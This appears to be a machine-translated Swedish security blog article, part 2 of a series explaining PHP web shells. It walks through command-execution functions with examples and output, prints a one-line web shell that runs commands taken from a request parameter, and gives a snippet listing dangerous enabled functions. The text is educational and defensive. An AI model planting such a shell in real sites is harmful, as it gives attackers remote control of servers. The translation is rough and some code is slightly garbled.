Dubitinsider

for your information

i del 1 i denna serie tittade vi på vad ett webbskal är och varför en angripare skulle försöka använda en. I del 2 i denna serie kommer vi att titta på några specifika exempel på webbskal som utvecklats med PHP-programmeringsspråket.

Webbskal finns för nästan alla webbprogrammeringsspråk du kan tänka dig. Vi valde att fokusera på PHP eftersom det är det mest använda programmeringsspråket på webben.

PHP web shells gör inget annat än att använda inbyggda PHP-funktioner för att utföra kommandon. Följande är några av de vanligaste funktionerna som används för att utföra skalkommandon i PHP.

Obs: i den här artikeln redigerade vi vår värdfil och pekade domänen www.example.com till en testserver.

system ()

funktionen system() accepterar kommandot som en parameter och det matar ut resultatet.

följande exempel på en Microsoft Windows-dator kör kommandotdir för att returnera en kataloglistning av katalogen där PHP-filen körs.

<?php// Return the listing of the directory where the file runs (Windows)system("dir");?>--> Volume in drive C has no label.Volume Serial Number is A08E-9C63Directory of C:\webserver\www\demo02/27/2020 10:21 PM <DIR> .02/27/2020 10:21 PM <DIR> ..02/27/2020 10:19 PM 22 shell.php1 File(s) 22 bytes2 Dir(s) 31,977,467,904 bytes free

exekvera kommandotls på en Linux-maskin uppnår ett liknande resultat.

<?php// Return the listing of the directory where the file runs (Linux)system("ls -la");?>--> total 12drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php

andra kommandon har samma effekt.

<?php// Return the user the script is running undersystem("whoami");?>--> www-data

exec ()

exec() funktionen accepterar ett kommando som en parameter men matar inte ut resultatet. Om en andra valfri parameter anges returneras resultatet som en array. Annars visas endast den sista raden i resultatet om det upprepas.

<?php// Executes but returns nothingexec("ls -la");?>-->

användaecho med funktionenexec() skriver bara ut den sista raden i kommandoutmatningen.

<?php// Executes, returns only last line of the outputecho exec("ls -la");?>--> -rw-rw-r-- 1 secuser secuser 29 Feb 27 20:49 shell.php

om en andra parameter anges returneras resultatet i en array.

<?php// Executes, returns the output in an arrayexec("ls -la",$array);print_r($array);?>--> Array( => total 12 => drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:55 . => drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. => -rw-rw-r-- 1 secuser secuser 49 Feb 27 20:54 shell.php )

shell_exec ()

shell_exec() funktionen liknarexec(), men det matar ut hela resultatet som en sträng.

<?php// Executes, returns the entire output as a stringecho shell_exec("ls -la");?>
-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:24 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 36 Feb 28 18:24 shell.php

passthru ()

funktionenpassthru() utför ett kommando och returnerar utdata i raw-format.

<?php// Executes, returns output in raw formatpasssthru("ls -la");?>-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:23 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 29 Feb 28 18:23 shell.php

proc_open ()

funktionenproc_open() kan vara svår att förstå (Du kan hitta en detaljerad beskrivning av funktionen i PHP-dokumenten). Genom att använda proc_open() kan vi skapa en hanterare (process) som kommer att användas för kommunikation mellan vårt skript och det program som vi vill köra.

Backticks

överraskande är det inte många PHP-utvecklare som är medvetna om detta, men PHP kommer att utföra innehållet i backticks (`) som ett skalkommando.

Obs: backtick-tecknet ( ’ ) ska inte förväxlas med det enda citattecken (’)
<?php$output = `whoami`;echo "<pre>$output</pre>";?>--> www-data

baserat på ovanstående är följande ett PHP-webbskal i sin enklaste form.

<?php system($_GET);?>

den använder funktionen system() för att utföra kommandon som skickas via ’CMD’ HTTP request GET parameter.

web shells image 2

Vi har fastställt att dessa funktioner (och några andra) kan vara mycket farliga. Vad som är ännu farligare är att alla dessa inbyggda PHP-kommandon är aktiverade som standard när PHP är installerat och majoriteten av systemadministratörer inaktiverar dem inte.

om du är osäker på om de är aktiverade på ditt system kommer följande att returnera en lista över de farliga funktionerna som är aktiverade.

<?phpprint_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)));?>

i en standardinstallation kan vi se att alla funktioner som nämns ovan är aktiverade.

 => exec => system => passthru => shell_exec => proc_open => show_source => parse_ini_file => popen

Del 1

en introduktion till Webbskal

del 2

Webbskal 101 med PHP

del 3

att hålla Webbskal under skydd

del 4

webbskal i aktion

del 5

upptäckt & förebyggande

vanliga frågor

ett webbskal är ett litet program som en angripare kör på din webbserver. De kan sedan använda den här applikationen för att fjärråtkomst till din server och köra kommandon på den. Ett webbskal i sig är aldrig en attack, det är efterdyningarna av en lyckad attack på din webbplats eller webbapplikation. Det betyder att om du har ett webbskal har du ett mycket allvarligare problem att oroa dig för.

se hur ett webbskal fungerar i praktiken.

skadliga hackare använder webbskal för att ta kontroll över en redan komprometterad server. Först utnyttjar de en sårbarhet i din webbplats eller webbapplikation som SQL-injektion, fjärrkodkörning eller andra. Sedan laddar de upp ett webbskal till din webbserver. Från och med nu kan de köra alla kommandon som de gillar på din server.

se ett steg-för-steg-exempel på en attack som leder till fullständig serverkompromiss.

Du kan upptäcka webbskal genom logganalys. Du bör dock inte fokusera på att upptäcka webbskal utan istället bör du upptäcka sårbarheter som kan låta angripare ta kontroll över din server. Även om du upptäcker ett webbskal kommer det inte att hindra angripare från att ta över kontrollen igen om sårbarheterna fortfarande finns där. För att upptäcka webbsårbarheter och lära dig att eliminera dem, använd Acunetix.

se vad Acunetix Premium kan göra för dig.

det bästa sättet att skydda dig mot webbskal är att göra det omöjligt att använda dem på ditt system. Du kan göra det genom att härda din server-ta bort alla överflödiga behörigheter, blockera potentiellt farliga funktioner, begränsa skriptkörning i uppladdningskataloger etc. Det är dock bäst att skydda servern från att bli komprometterad i första hand genom att använda Acunetix regelbundet.

Läs mer om webbskaldetektering och skydd.

få det senaste innehållet på webbsäkerhet
i din inkorg varje vecka.

dela det här inlägget

författaren
agathoklis Prodromou
webbsystemadministratör/Utvecklare

Akis har arbetat inom IT-området i mer än 13 år och utvecklat sina färdigheter ur ett defensivt perspektiv som systemadministratör och webbutvecklare men också ur ett offensivt perspektiv som penetrationstestare. Han har olika professionella certifieringar relaterade till etisk hacking, digital kriminalteknik och incidentrespons.

Lämna ett svar

Din e-postadress kommer inte publiceras.